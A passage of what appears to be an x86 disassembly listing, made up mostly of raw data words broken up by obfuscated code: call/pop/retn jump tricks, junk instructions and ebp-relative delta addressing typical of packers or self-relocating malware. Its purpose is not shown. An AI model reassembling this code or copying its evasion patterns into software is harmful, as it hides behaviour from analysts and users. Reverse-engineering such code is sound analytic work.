15884h dd 0F5B5600h, 28Fh, 6065B200h, 0AE8h, 0E5AA5C00h, 0D0CC078Ch dd 29F0E38Eh, 141BAD95h, 0E9515A06h, 9, 0AB8536F8h, 1348FBEFh dd 85C65A55h, 6140849h, 0A99D8954h, 0E806140Bh, 4, 0FF4EBEF4h dd 8B50CDB3h, 24448BDEh, 6E804h, 0E3BF0000h, 0B56DAB73h dd 28C0Fh, 61600000h, 0BB008B5Bh, 506BC69Ch, 4244489h dd 7E9h, 33898400h, 63CE4870h, 51006A58h, 3E8h, 0C3592000h dd 244C8959h, 24448104h, 1404h, 0C3514100h, 65B5FFCDh dd 6A06142Ch, 3E85200h, 20000000h, 895AC35Ah, 81042454h dd 19042444h, 42000000h, 56AEC352h, 1900BD9Fh, 78FE858Dh dd 6A0617h, 3E855h, 5D200000h, 6C895DC3h, 44810424h, 160424h dd 55450000h, 0D7C0A1C3h, 0EE957h, 94850000h, 7A1580C0h dd 7137D2D6h, 7AEAEA7Ah, 98D895Ah, 0FF061412h, 0C18501D0h dd 6A06141Ch, 6860F00h, 1000000h, 141089B5h, 91B5FF06h dd 6006142Dh, 14E9h, 2CD6300h, 2C4657EDh, 0D0624C43h, 74392C44h dd 0E7C47750h, 0E38150DFh, 56ED231Bh, 0D0FF6158h, 61DA8B66h dd 0DE879B3h, 9F000000h, 0DA71975Fh, 66527555h, 314EE7CDh dd 4D85C75Ah, 106140Fh, 6A000000h, 3E85500h, 20000000h dd 895DC35Dh, 8104246Ch, 15042444h, 45000000h, 5657C355h dd 0CE86060h, 20000000h, 1817879Fh, 0F0CE775Ah, 80DC1C0Fh dd 615899E3h, 4E8h, 8000h, 0BA665600h, 505AD2FAh, 5775BA66h dd 424448Bh, 8BDE8Ah, 0DE8h, 0BA9FDD00h, 1110EFh, 3EA8132Dh dd 13E902CAh, 77000000h, 82333372h, 97EF7731h, 97B5D9C1h dd 0DBCF5F87h, 895B5B1Fh, 8B042444h, 830F58D1h, 0 ; --------------------------------------------------------------------------- push 0FFFFFFFFh movsx ebx, bx call dword ptr [ebp+6140801h] push 0 push eax call loc_58383A and [eax-3Dh], bl loc_58383A: ; CODE XREF: sub_581EE9+1949p pop eax mov [esp-6E7Ch+arg_6E76+2], eax add [esp-6E7Ch+arg_6E76+2], 1Dh inc eax push eax retn ; --------------------------------------------------------------------------- dw 6F0Bh dd 63943E6Ah, 9EF59E80h, 25559589h, 66600614h, 6B67D981h dd 8D0Fh, 61610000h, 0E855006Ah, 3, 5DC35D20h, 4246C89h dd 4244481h, 17h, 0A7C35545h, 0E80CA3D9h, 0Dh, 5A293D1h dd 9449B2Eh, 0B052E7A1h, 0BD958B98h, 5B06141Bh, 89FA8A50h dd 6A2404h, 3E855h, 5D200000h, 6C895DC3h, 44810424h, 1C0424h dd 55450000h, 0A65137C3h, 0E1D25029h, 953320C3h, 61407FDh dd 11E9h, 5D8A2000h, 9D7C59F8h, 0BD305FA2h, 869FD9BBh dd 858B9FC3h, 6141001h, 34C18589h, 8B660614h, 0FC00BD8h dd 3284h, 52006A00h, 3E8h, 0C35A2000h, 2454895Ah, 24448104h dd 1C04h, 0C3524200h, 0D343015Bh, 66E0DE2Ch, 0E595FFE3h dd 5606140Dh, 20359D89h, 0C75B0614h, 140F2585h, 106h, 57006A00h dd 3E8h, 0C35F2000h, 247C895Fh, 24448104h, 1A04h, 0C3574700h dd 4F16274Bh, 603E587Ah, 0BE07F380h, 0A3EE42Fh, 0A0BB6661h dd 0AE952h, 56520000h, 769AB96Bh, 63E4C1Fh, 33F5BD83h dd 0F000614h, 0E84h, 4DBD8900h, 0FF06140Dh, 14185995h dd 83C9B706h, 140705BDh, 840F0006h, 0Ch, 0FFD68B66h, 14306995h dd 0D7BF0F06h, 7C9BD83h, 0F000614h, 4484h, 0A9C38100h dd 2973B3B5h, 143491B5h, 61BD8306h, 61403h, 2B850Fh, 89560000h dd 141D299Dh, 95895B06h, 61404BDh, 18F995FFh, 0E8600614h dd 7, 79D8721Ah, 8BCB4E61h, 142411B5h, 4CB45A06h, 91BD8361h dd 6140Ch, 4B840Fh, 6A0000h, 3E851h, 59200000h, 4C8959C3h dd 44810424h, 1B0424h, 51410000h, 1A9188C3h, 82D6AA2Fh dd 15958BB6h, 66061418h, 4431CB81h, 18198581h, 40030614h dd 8D890000h, 61433FDh, 24F18581h, 40030614h, 8B660000h dd 0E9310FDAh, 5, 0B463A8FEh, 9C8D8DFAh, 6006145Eh, 0CE9h dd 0EB9A6C00h, 90B05A33h, 0AAF37EDBh, 14E8F2h, 82990000h dd 0FCDD4F8Fh, 73EC4410h, 85E5BD62h, 0BE351818h, 0BF0F7D1Ch dd 89615ED0h, 33F38A01h, 50006AC2h, 3E8h, 0C3582000h, 24448958h dd 24448104h, 1404h, 0C3504000h, 0DD952352h, 8906142Dh dd 6A0441h, 3E850h, 58200000h, 448958C3h, 44810424h, 160424h dd 50400000h, 307FC7C3h, 0ACB7FC8Ah, 6A310Fh, 3E850h, 58200000h dd 448958C3h, 44810424h, 1A0424h, 50400000h, 791F89C3h dd 0AAFE82CEh, 5EAC8D8Dh, 810F0614h, 14h, 0CE8h, 29728500h dd 0A046E324h, 77A80216h, 5B4FB68Ch, 0BD290189h, 614109Dh dd 9E8h, 256D5B00h, 0A661A1BBh, 8ABA3779h, 5A126724h, 6AC233h dd 3E851h, 59200000h, 4C8959C3h, 44810424h, 170424h, 51410000h dd 375636C3h, 95315615h, 614183Dh, 441895Bh, 1BC59D8Bh dd 0BD830614h, 6141355h, 5C840F00h, 6A000000h, 3E85200h dd 20000000h, 895AC35Ah, 81042454h, 15042444h, 42000000h dd 0BCF2C352h, 7E952h, 48490000h, 0A7348F61h, 95FF5B26h dd 6141619h, 0E850006Ah, 3, 58C35820h, 4244489h, 4244481h dd 1Bh, 3AC35040h, 0F2BDB1C9h, 8B41F020h, 0A5BD01D8h, 83061412h dd 1425E5BDh, 850F0106h, 53h, 25F98D89h, 48E90614h, 8B000000h dd 56B58BD0h, 0C7061460h, 6, 0DCB58B00h, 0C706145Dh, 6 dd 6ACF00h, 3E853h, 5B200000h, 5C895BC3h, 44810424h, 160424h dd 53430000h, 0AFC356C3h, 1ADDBD89h, 0C6800614h, 318D0995h dd 83061425h, 140F25BDh, 840F0006h, 180h, 0E850006Ah, 3 dd 58C35820h, 4244489h, 4244481h, 16h, 0DDC35040h, 0BD83676Dh dd 6140B4Dh, 31850F01h, 0E8000001h, 0Eh, 8E9BE8BEh, 84FE5434h dd 0E4793565h, 85290AC5h, 6141E05h, 0D2BF0F5Bh, 4D998D8Bh dd 33F80614h, 1407CD95h, 1C606h, 23759D03h, 0BA600614h dd 27DC5830h, 4E8BAB2h, 80000000h, 66000000h, 5150DE8Bh dd 7E8h, 16BD2D00h, 2F8F6245h, 448B5A5Ah, 0D68B0424h, 8B66008Bh dd 244489D0h, 0E8525004h, 0Eh, 477538DCh, 5A6FFBE4h, 0C33E53B4h dd 810F2417h, 0 dd 0BB310F5Bh, 5275853Dh, 0E958585Ah, 0Bh, 943B7952h, 0C67742EEh dd 8B143C73h, 14021195h, 0E8FF6A06h, 0Eh, 0EFEEABDEh, 0C619ED44h dd 18572F3Dh, 0B5890F9Ah, 6140D35h, 195FF5Ah, 8B061408h dd 8C0F61DAh, 6, 800Fh, 95FF0000h, 61410D9h, 0E857006Ah dd 3, 5FC35F20h, 4247C89h, 4244481h, 18h, 30C35747h, 31FDE7C2h dd 1C418D89h, 8D8B0614h, 6144D99h, 779B529h, 1FE0614h dd 0E850006Ah, 3, 58C35820h, 4244489h, 4244481h, 1Ch, 30C35040h dd 0ED2BA960h, 0FA4C4E6h, 34C5BD83h, 0F010614h, 1785h dd 0C2816600h, 0DE90F8Ch, 2B000000h, 8C52AB02h, 0DD17F20Ah dd 0C866A7F4h, 6AC08Bh, 3E851h, 59200000h, 4C8959C3h, 44810424h dd 170424h, 51410000h, 0DA4090C3h, 0D0B70FFEh, 195BBA66h dd 10F1BD83h, 75000614h, 25BD8309h, 6140Eh, 53501A74h dd 858BC08Bh, 6141819h, 18198589h, 9D8D0614h, 616A752h dd 585BD3FFh, 0E25BD83h, 74000614h, 8B535018h, 14181985h dd 19858906h, 8D061418h, 16A4419Dh, 5BD3FF06h, 0D1B70F58h dd 0FA1958Bh, 79B70614h, 0BD29C08Bh, 6143445h, 13E9h, 52454600h dd 91323AD6h, 7F2F957Ch, 982142E8h, 5FFEB66h, 0F25BD83h dd 0F000614h, 2C85h, 0E2816600h, 0BD830EB8h, 61409F9h dd 1A840F00h, 0E8000000h, 14h, 34396C1Ch, 0DDDC2C39h, 1138083Bh dd 0A1351DF8h, 0FE73485Bh, 25BD835Ah, 6140Fh, 3B840Fh dd 890F0000h, 1, 31BD83FCh, 6141Eh, 27840Fh, 6A0000h, 3E851h dd 59200000h, 4C8959C3h, 44810424h, 190424h, 51410000h dd 6B0F15C3h, 8158D680h, 5135E2C2h, 25BD8326h, 6140Fh dd 64840Fh, 6A0000h, 3E853h, 5B200000h, 5C895BC3h, 44810424h dd 160424h, 53430000h, 52999FC3h, 10E9h, 4BDA4700h, 5C9D5E31h dd 373EDF12h, 9C7E7AEDh, 31BD836Ch, 6141Eh, 24840Fh, 6A0000h dd 3E852h, 5A200000h, 54895AC3h, 44810424h, 1C0424h, 52420000h dd 0E9F63EC3h, 0FD2A8D0Ah, 0BD838516h, 6140F25h, 17840F00h dd 89000000h, 140F719Dh, 51BD8306h, 61407h, 4840Fh, 0BB660000h dd 0BD8352D0h, 6140F25h, 27840F00h, 80000000h, 0D3BB39E6h dd 834B4FD9h, 140EF1BDh, 840F0006h, 12h, 0BC19D8Bh, 95FF0614h dd 6141CF9h, 0D599D8Bh, 0C08B0614h, 4819D8Bh, 0BD830614h dd 61410F1h, 83097500h, 140E25BDh, 1A740006h, 0C08B5350h dd 24F1858Bh, 85890614h, 61424F1h, 0A7B99D8Dh, 0D3FF0616h dd 0BD83585Bh, 6140E25h, 50187400h, 0F1858B53h, 89061424h dd 1424F185h, 5A9D8D06h, 0FF0616A4h, 89585BD3h, 141389BDh dd 0FD958B06h, 0F061406h, 68Ch, 559D2900h, 8B061402h, 0BC68BBC0h dd 0BD83014Bh, 6140F25h, 82840F00h, 50000003h, 31D950Bh dd 835B0614h, 1409B1BDh, 840F0206h, 1Ah, 0C3BF0F60h, 8361D08Bh dd 1425E5BDh, 850F0106h, 6, 0A699D89h, 0F5600614h, 4D998D8Bh dd 6A0614h, 3E850h, 58200000h, 448958C3h, 44810424h, 140424h dd 50400000h, 1FE5DC3h, 28E0Fh, 0D48A0000h, 19E5958Bh dd 4E80614h, 80000000h, 50000000h, 0DE8h, 0AE201000h, 0FC30B83Fh dd 0C46BF375h, 0BA66538Bh, 8B5B7515h, 51042444h, 8B5B2FB7h dd 0F525000h, 28Dh, 0F616000h, 0D7BB6631h, 89585ABDh, 0B7042444h dd 6A58C1h, 3E852h, 5A200000h, 54895AC3h, 44810424h, 150424h dd 52420000h, 0F854DC3h, 9589D7B7h, 6142C69h, 0CE80FF6Ah dd 195FF6Dh, 8B061408h, 1419B99Dh, 7D1BB06h, 6A613512h dd 3E85100h, 20000000h, 8959C359h, 8104244Ch, 14042444h dd 41000000h, 0BB43C351h, 19A2A7E7h, 1D55BD8Dh, 0EFB60614h dd 601C4F8Bh, 3DD9509h, 85890614h, 614064Dh, 6A88B261h dd 0AE901h, 0B3580000h, 3E0204E7h, 1070CBFCh, 0F525050h dd 178Ch, 11E800h, 0FF280000h, 9E8770B8h, 16E28D32h, 5167D5Ch dd 5A3F3B1Ah, 0BB66310Fh, 585AFFA5h, 89240C89h, 1409C595h dd 0D858D06h, 66061734h, 0CFAAF381h, 0B589D0FFh, 614318Dh dd 6A204F8Bh, 3E85500h, 20000000h, 895DC35Dh, 8104246Ch dd 17042444h, 45000000h, 145CC355h, 8E946CFh, 0AE000000h dd 354CAC48h, 6A3351DAh, 56006A03h, 3E8h, 0C35E2000h, 2474895Eh dd 24448104h, 1C04h, 0C3564600h, 2CE98044h, 1F2E012Ch dd 0BA6691B4h, 8B505666h, 9D8B91D8h, 6140899h, 340D858Dh dd 820F0617h, 10h, 0BE9h, 20A48700h, 0F69365F2h, 905406F4h dd 9D8BD0FFh, 61431A1h, 1D55BD8Dh, 6A0614h, 3E853h, 5B200000h dd 5C895BC3h, 44810424h, 190424h, 53430000h, 0D92EB3C3h dd 8B80DFD4h, 9D8B1C4Fh, 6141CE5h, 8D89016Ah, 6141EA5h dd 89DF8B50h, 6A240Ch, 3E857h, 5F200000h, 7C895FC3h, 44810424h dd 1D0424h, 57470000h, 7E5CA9C3h, 9BBAF30Eh, 664CC070h dd 0E64FF281h, 0FD5FE3BBh, 0D858D26h, 23061734h, 140CF19Dh dd 80D0FF06h, 0D38B3EEAh, 6A204F8Bh, 3E85100h, 20000000h dd 8959C359h, 8104244Ch, 1D042444h, 41000000h, 82A3C351h dd 0A6574D41h, 2190F607h, 4A99D89h, 36A0614h, 12E9h, 44A80900h dd 481F52C4h, 0D7B183E7h, 0F990FEC8h, 50FA071Ah, 0AE95250h dd 1B000000h, 470DC037h, 0C87A5F0Ch, 5A310F8Bh, 240C8958h dd 60E28166h, 86EA814Ah, 8D7EBA67h, 17340D85h, 2DB58906h dd 0FF06140Dh, 5E9D0h, 69740000h, 8B787C9Eh, 144D998Dh dd 62D38106h, 0FE759FD2h, 858BF801h, 6144D99h, 0FED08B66h dd 0DEB70F00h, 6E9h, 3B8C800h, 6A106163h, 50006A01h, 3E8h dd 0C3582000h, 24448958h, 24448104h, 1B04h, 0C3504000h dd 373C84E7h, 0E1EFB1ABh, 31953156h, 5A061400h, 37ECE368h dd 8B0FB8h, 81000000h, 0B31C2404h, 816647C7h, 8D2006F2h dd 17341785h, 68A0F06h, 81000000h, 3C3B31EBh, 8AD0FF39h dd 0F9BD83DEh, 61409h, 0B6840Fh, 95890000h, 6142A09h, 1CDBD83h dd 0F010614h, 0A385h, 0DAB70F00h, 0CED958Bh, 8D8D0614h dd 6173421h, 0E850006Ah, 3, 58C35820h, 4244489h, 4244481h dd 17h, 0CDC35040h, 8B0908B2h, 142DE59Dh, 50036A06h, 2FACDB81h dd 6A5A0C8Fh, 0D1FFFC01h, 0A6BEA81h, 16A5169h, 0E9BD8B60h dd 5206140Eh, 0AE9h, 966BB500h, 0E580F0F9h, 59E6052Ah dd 33016A61h, 1401B59Dh, 0D2816606h, 0D1FF9DAFh, 13719D8Bh dd 0CBE80614h, 6AFA476Dh, 3E85200h, 20000000h, 895AC35Ah dd 81042454h, 1D042444h, 42000000h, 4BEEC352h, 202C3D05h dd 23C01AAh, 0AE8206Ah, 0E4000000h, 3840BE91h, 66805B19h dd 0AE95103h, 92000000h, 0AB3D2A4Dh, 56CA8A47h, 6A5B5B93h dd 56006AFFh, 3E8h, 0C35E2000h, 2474895Eh, 24448104h, 1D04h dd 0C3564600h, 0E563A767h, 7542B4EBh, 0B5899759h, 6142019h dd 80195FFh, 0BD890614h, 614159Dh, 3095958Bh, 0B80614h dd 52000000h, 1BD9589h, 0B5A0614h, 38840FC0h, 0B2000000h dd 19BD8374h dd 6141Bh, 29840Fh, 8C0F0000h, 0Ah, 4810Fh, 0BB660000h dd 0D68B9EA8h, 3FD95FFh, 0FD8A0614h, 0AE9h, 0D1DE7F00h dd 0AD4D6739h, 8BDEDB30h, 14005585h, 51006A06h, 3E8h, 0C3592000h dd 244C8959h, 24448104h, 1404h, 0C3514100h, 59952384h dd 0C606140Ch, 0B9B70000h, 55006A58h, 3E8h, 0C35D2000h dd 246C895Dh, 24448104h, 1704h, 0C3554500h, 0CA3A3E18h dd 0FE8h, 3BACE500h, 2B9FD419h, 0CA5251CBh, 1DB7470Eh dd 4CC8C381h, 665B5CB3h, 9D8BD98Ch, 6142FB9h, 0D2DB501h dd 0C1F60614h, 7E840F04h, 66000000h, 0E96F4DBAh, 75h, 0E9DBB70Fh dd 12h, 410D425Ch, 5F3FEB26h, 0EA1A8AF7h, 0DD94400Ah, 0B58B9B63h dd 6143169h, 0E856006Ah, 3, 5EC35E20h, 4247489h, 4244481h dd 1Dh, 6BC35646h, 302A4E9Eh, 2BB7659Eh, 0A9F78063h, 1180C681h dd 56B60000h, 6C7h, 6A0000h, 3E850h, 58200000h, 448958C3h dd 44810424h, 140424h, 50400000h, 8B6662C3h, 29575ED3h dd 1408DD9Dh, 0F8835B06h, 2C840F00h, 300000Ch, 1409859Dh dd 1F88306h, 160850Fh, 0E2800000h, 0B8A4h, 6A0000h, 3E855h dd 5D200000h, 6C895DC3h, 44810424h, 180424h, 55450000h dd 97A994C3h, 0C00B570Bh, 0C8840Fh, 6A0000h, 3E856h, 5E200000h dd 74895EC3h, 44810424h, 1A0424h, 56460000h, 84B8F3C3h dd 5B254D6Fh, 1CF5958Bh, 0F8830614h, 0AB840F01h, 0F5000000h dd 0F03F883h, 5284h, 51006A00h, 3E8h, 0C3592000h, 244C8959h dd 24448104h, 1A04h, 0C3514100h, 70DD7B08h, 0F405F32h dd 680h, 70C38100h, 2B7F791Ch, 0CE9C0h, 77A60000h, 369E634Ah dd 0B4E8F1D3h, 0BD8D2629h, 5B89E0h, 0F5DA8166h, 0E7FFF92Ch dd 0B8D38B66h, 1, 0BD8DE2B6h, 5B89E0h, 0FF3ECE80h, 53006AE7h dd 3E8h, 0C35B2000h, 245C895Bh, 24448104h, 1B04h, 0C3534300h dd 0E1F2645Ah, 0EECEEDE3h, 171B589h, 0BD8D0614h, 6144425h dd 184D9D8Bh, 0E9E90614h, 80000002h, 85C716D2h, 6144DF4h dd 5, 0B8D78B66h, 5, 13419D33h, 840F0614h, 0Ch, 7E9h, 0F6409C00h dd 0DE6040Bh, 0A08E9h, 53006A00h, 3E8h, 0C35B2000h, 245C895Bh dd 24448104h, 1A04h, 0C3534300h, 0EE410557h, 803FA0A5h dd 0F88352EAh, 0C9850F02h, 6A000000h, 3E85100h, 20000000h dd 8959C359h, 8104244Ch, 1B042444h, 41000000h, 0AC61C351h dd 0FE4AE8B7h, 860F42A2h, 6, 3111BD29h, 0B80614h, 0E9000000h dd 5, 4D7B182Eh, 218D89F9h, 0B06141Ch, 3E840FC0h, 80000000h dd 952B68CAh, 6142559h, 0F01F883h, 0FFFF4584h, 7DB589FFh dd 8306140Dh, 840F03F8h, 0FFFFFEE7h, 0C02B8DB6h, 28E0Fh dd 0F78A0000h, 89E0BD8Dh, 9D2B005Bh, 61434E1h, 0C780E7FFh dd 1DBD8D99h, 0F061446h, 0F1E9DBBFh, 6A000001h, 3E85100h dd 20000000h, 8959C359h, 8104244Ch, 14042444h, 41000000h dd 8B22C351h, 140FC595h, 98D0F06h, 0F000000h, 383h, 0DFBF0F00h dd 0F03F883h, 6B85h, 819D8B00h, 0F061404h, 584h, 5907BB00h dd 0BD8D3CD8h, 61447B1h, 459D89h, 95E90614h, 6A000001h dd 3E85100h, 20000000h, 8959C359h, 8104244Ch, 18042444h dd 41000000h, 0BCEFC351h, 0E8FF5323h, 0Dh, 98736201h, 58EE4AF8h dd 63A239D2h, 0A8B0FB6h, 0E9000000h, 5, 7628EDEDh, 95895B9Dh dd 6140771h, 0F05F883h, 1385h, 0E9D38B00h, 88Dh, 6880Fh dd 66500000h, 5B121EBAh, 0F06F883h, 3985h, 0F9B52900h dd 8D06141Ah, 1449A9BDh, 51006A06h, 3E8h, 0C3592000h, 244C8959h dd 24448104h, 1704h, 0C3514100h, 0E0FFA065h, 23819D8Bh dd 0F1E90614h, 80000000h, 0F88346EAh, 4B850F07h, 6A000000h dd 3E85000h, 20000000h, 8958C358h, 81042444h, 14042444h dd 40000000h, 0F65C350h, 0C85h, 6880F00h, 0F000000h, 89h dd 0DBCB8100h, 8D18B24Fh, 1420DDBDh, 45958906h, 0E9061415h dd 13Ch, 1ED9958Bh, 0F8830614h, 91850F0Ah, 6A000000h, 3E85500h dd 20000000h, 895DC35Dh, 8104246Ch, 1C042444h, 45000000h dd 6478C355h, 0C409E118h, 80FBA081h, 0BD8D33E2h, 6144BA1h dd 0E852006Ah, 3, 5AC35A20h, 4245489h, 4244481h, 1Ah, 0BC35242h dd 0FCCECB02h, 0AABB07FBh, 8A725198h, 36E9DDh, 6A0000h dd 3E856h, 5E200000h, 74895EC3h, 44810424h, 140424h, 56460000h dd 6060E0C3h, 8CC78166h, 6E913h, 8E080000h, 0B99AAACBh dd 259D2361h, 61061412h, 0E9D18A57h, 11h, 9AF01375h, 0AD8DDFF7h dd 0B35BE270h, 0CC813898h, 7529B90Ah, 6A1090h, 3E852h dd 5A200000h, 54895AC3h, 44810424h, 1D0424h, 52420000h dd 0F4AE47C3h, 762F567Eh, 8B54A55Ah, 142F999Dh, 3F8306h dd 2A840Fh, 9D890000h, 61400C5h, 8D0F0F30h, 3, 0D1D1BF0Fh dd 0F018BBC9h, 664709B5h, 8999D1BBh, 1430619Dh, 0FFCFE906h dd 0D68BFFFFh, 50006A5Fh, 3E8h, 0C3582000h, 24448958h dd 24448104h, 1704h, 0C3504000h, 768E0D11h, 4D9DBD89h dd 8B570614h, 8D8D5BD8h, 6142415h, 0E857006Ah, 3, 5FC35F20h dd 4247C89h, 4244481h, 1Ch, 82C35747h, 2EEE8888h, 8774C66Eh dd 0BE9h, 58949D00h, 9422F9C8h, 3CD55877h, 1869B5FFh, 6A0614h dd 3E856h, 5E200000h, 74895EC3h, 44810424h, 140424h, 56460000h dd 958BA9C3h, 6142A75h, 30BD9D8Bh, 858D0614h, 616A07Dh dd 8FBD8D50h, 8D061454h, 146FC88Dh, 1ABCB806h, 0CF2B5483h dd 0C8D00730h, 0F8754947h, 6F1CB58Dh, 8D8D0614h, 6146FE0h dd 0A4F3CF2Bh, 0B8C933h, 0B000000h, 834674C0h, 141B19BDh dd 6740006h, 3FD95FFh, 0B58B0614h, 6144D9Dh, 0A07D858Dh dd 0D0FF0616h, 43B1858Dh, 0D0FF0614h, 0D985C7h, 10614h dd 0A58B0000h, 6140C55h, 1605B58Bh, 0AD8B0614h, 614268Dh dd 0CC2C033h, 0A59D8B00h, 6A061420h, 3E85300h, 20000000h dd 895BC35Bh, 8104245Ch, 17042444h, 43000000h, 0DE93C353h dd 0BD830B1Dh, 6140F89h, 10840F00h, 0BB000000h, 5F9F8387h dd 1B2595FFh, 8B660614h, 83D18BDFh, 142FE5BDh, 850F0006h dd 212h, 2D21BD01h, 0BD830614h, 61401CDh, 0FF850F01h, 6A000001h dd 3E85300h, 20000000h, 895BC35Bh, 8104245Ch, 18042444h dd 43000000h, 0A80CC353h, 350C3D1h, 14204195h, 51BD8306h dd 61402h, 1CC840Fh, 6A0000h, 3E857h, 5F200000h, 7C895FC3h dd 44810424h, 1B0424h, 57470000h, 95528AC3h, 0B92ED325h dd 0DE907h, 10060000h, 68A1506Eh, 7BCE50B5h, 8301AC6Bh dd 144DF0BDh, 840F0006h, 18Ah, 14E9h, 98834000h, 0EF3AA5E8h dd 84ACC090h, 81E2E6E3h, 40EA5856h, 7D858DB4h, 0F0616A0h dd 0B58BDABFh, 6144D9Dh, 0E853006Ah, 3, 5BC35B20h, 4245C89h dd 4244481h, 18h, 6BC35343h, 5BB67977h, 0B810Fh, 860F0000h dd 5 dd 8591E5BBh, 512FBA26h, 6060505Eh, 0F159D01h, 810F0614h dd 0 ; --------------------------------------------------------------------------- popa mov bx, di popa call eax push 0 push ecx call loc_584D22 and [ecx-3Dh], bl loc_584D22: ; CODE XREF: sub_581EE9+2E31p pop ecx mov [esp-6EBAh+arg_6EB6], ecx add [esp-6EBAh+arg_6EB6], 19h inc ecx push ecx retn ; --------------------------------------------------------------------------- dw 3BFEh ; --------------------------------------------------------------------------- adc edi, [esi] cmp dword ptr [esi-3A7FF745h], 7Bh mov byte ptr [ebp+6140849h], 54h mov edx, [ebp+61407F5h] push 0DDFFE7B5h jmp loc_584D68 ; --------------------------------------------------------------------------- dd 29EC5AF7h, 7F2AB72Eh, 3105877Dh, 0FC81C8F0h, 8FA8654h ; --------------------------------------------------------------------------- loc_584D68: ; CODE XREF: sub_581EE9+2E66j xor [esp-6EB2h+arg_6EA8+2], 22B15941h jbe loc_584D7A add bx, 11h loc_584D7A: ; CODE XREF: sub_581EE9+2E86j push dword ptr [ebp+6140C2Dh] mov bx, 9650h lea eax, [ebp+6143B4Eh] push 0 push ebx call loc_584D95 and [ebx-3Dh], bl loc_584D95: ; CODE XREF: sub_581EE9+2EA4p pop ebx mov [esp-6EB0h+arg_6EAC], ebx add [esp-6EB0h+arg_6EAC], 1Dh inc ebx push ebx retn ; --------------------------------------------------------------------------- pop edi fbld tbyte ptr ds:614A0D15h stc cdq and al, 2Bh popf popf sub dl, [esi+eax] mov bx, di call eax push 0 push edx call loc_584DC5 and [edx-3Dh], bl loc_584DC5: ; CODE XREF: sub_581EE9+2ED4p pop edx mov [esp-6EBAh+arg_6EB6], edx add [esp-6EBAh+arg_6EB6], 14h inc edx push edx retn ; --------------------------------------------------------------------------- mov ecx, 71852960h and [esi+eax], dl mov [ebp+6141A05h], ebx popa push 0 sub ebx, [ebp+6140255h] push 0FFFFFFFFh sub [ebp+6140999h], ecx call eax push 0 push ebp call loc_584E02 and [ebp-3Dh], bl loc_584E02: ; CODE XREF: sub_581EE9+2F11p pop ebp mov [esp-6ED0h+arg_6ECA+2], ebp add [esp-6ED0h+arg_6ECA+2], 15h inc ebp push ebp retn ; --------------------------------------------------------------------------- mov edx, 49B5FFDBh push cs adc al, 6 mov dx, ax call dword ptr [ebp+6141869h] jmp loc_584E2E ; --------------------------------------------------------------------------- dd 0EF8ADAA4h db 60h, 7Eh ; --------------------------------------------------------------------------- loc_584E2E: ; CODE XREF: sub_581EE9+2F3Aj mov esi, [ebp+6144D9Dh] mov [ebp+6140DCDh], edi retn ; --------------------------------------------------------------------------- jmp loc_584E4B ; --------------------------------------------------------------------------- push ebx add bh, bl sbb al, 0CCh push edi scasd sahf loc_584E48: ; CODE XREF: sub_581EE9+2F60j stosb jg short loc_584E48 loc_584E4B: ; CODE XREF: sub_581EE9+2F52j mov esi, [ebp+6140055h] or esi, esi jz loc_584E7A mov ebx, [ebp+6141119h] mov byte ptr [esi], 0 jmp loc_584E7A ; --------------------------------------------------------------------------- xchg eax, esi mov dh, 0EAh db 3Eh adc al, 91h push cs pop esp xor eax, 1A6F3BEAh sbb eax, 0E9A3E4AFh std loc_584E7A: ; CODE XREF: sub_581EE9+2F6Aj ; sub_581EE9+2F79j mov [ebp+6144DA5h], eax push 0 push esi call loc_584E8B and [esi-3Dh], bl loc_584E8B: ; CODE XREF: sub_581EE9+2F9Ap pop esi mov [esp-6EC2h+arg_6EBE], esi add [esp-6EC2h+arg_6EBE], 1Ch inc esi push esi retn ; --------------------------------------------------------------------------- db 51h dd 0FFDDF851h, 8324C907h, 11E887B7h, 0FE000000h, 16D5AAACh dd 84BA326Dh, 0BFA2BDE1h, 33C453DAh, 870F53h, 5A000000h dd 0F8835Bh, 399840Fh, 0D08B0000h, 0B8h, 83FD8A00h, 840F00F8h dd 0A9h, 83D38B66h, 850F02F8h, 7Fh, 9CB5DB81h, 858D0949h dd 6144420h, 0DE8h, 82A9B900h, 0E55012FFh, 0D4D2F5FAh dd 2D5BCA5Eh, 929h, 0E850006Ah, 3, 58C35820h, 4244489h dd 4244481h, 1Ah, 0C9C35040h, 20F2BDB1h, 0DE8041F0h, 65B29061h dd 8B666050h, 819061CBh, 0A8AB08C2h, 0C34AB24Fh, 0E852006Ah dd 3, 5AC35A20h, 4245489h, 4244481h, 15h, 0BBC35242h, 459D8BC1h dd 0B8061409h, 0 ; --------------------------------------------------------------------------- jmp loc_584F7E ; --------------------------------------------------------------------------- retf 20B0h ; --------------------------------------------------------------------------- dd 93C07D0Eh db 0A3h, 0CEh ; --------------------------------------------------------------------------- loc_584F7E: ; CODE XREF: sub_581EE9+3087j jmp loc_585267 ; --------------------------------------------------------------------------- mov [ebp+6141655h], esi mov eax, 1 push 0 push ecx call loc_584F99 and [ecx-3Dh], bl loc_584F99: ; CODE XREF: sub_581EE9+30A8p pop ecx mov [esp-6EC0h+arg_6EBA+2], ecx add [esp-6EC0h+arg_6EBA+2], 1Ch inc ecx push ecx retn ; --------------------------------------------------------------------------- align 2 dw 8BE2h ; --------------------------------------------------------------------------- sbb dword ptr [ebp-3], 8D2367FFh mov ebp, 6144425h mov dx, 8056h jmp loc_5850F4 ; --------------------------------------------------------------------------- push 0 push esi call loc_584FCC and [esi-3Dh], bl loc_584FCC: ; CODE XREF: sub_581EE9+30DBp pop esi mov [esp+4], esi add dword ptr [esp+4], 1Ch inc esi push esi retn ; --------------------------------------------------------------------------- popa or ebp, [ecx] retn ; --------------------------------------------------------------------------- dd 3F4C4EA8h, 0A4EA81B6h, 832B2485h, 850F02F8h, 84h, 0E852006Ah dd 3, 5AC35A20h, 4245489h, 4244481h, 1Bh, 81C35242h, 84F197DFh dd 80FFBE16h, 0BD8D46CFh, 614461Dh, 0E853006Ah, 3, 5BC35B20h dd 4245C89h, 4244481h, 1Bh, 7EC35343h, 0B10B69FBh, 0E89FEF4Fh dd 12h, 0B7DAEB63h, 0C8C40A36h, 8C30A825h, 0AC2504E0h dd 9D8BA17Bh, 6141131h, 0E19D8B5Ah, 0E9061434h, 88h, 541DE381h dd 95310005h, 6141121h, 0F03F883h, 1D85h, 99D0B00h, 8D06141Fh dd 1447B1BDh, 0ED9D0106h, 0E9061402h, 5Ch, 491B589h, 0F8830614h dd 4D850F05h, 6A000000h, 3E85500h, 20000000h, 895DC35Dh dd 8104246Ch, 1C042444h, 45000000h, 9EA7C355h, 8BEE0FD2h dd 8B9A46EDh, 1409459Dh, 0B7E906h, 6A0000h, 3E850h, 58200000h dd 448958C3h, 44810424h, 140424h, 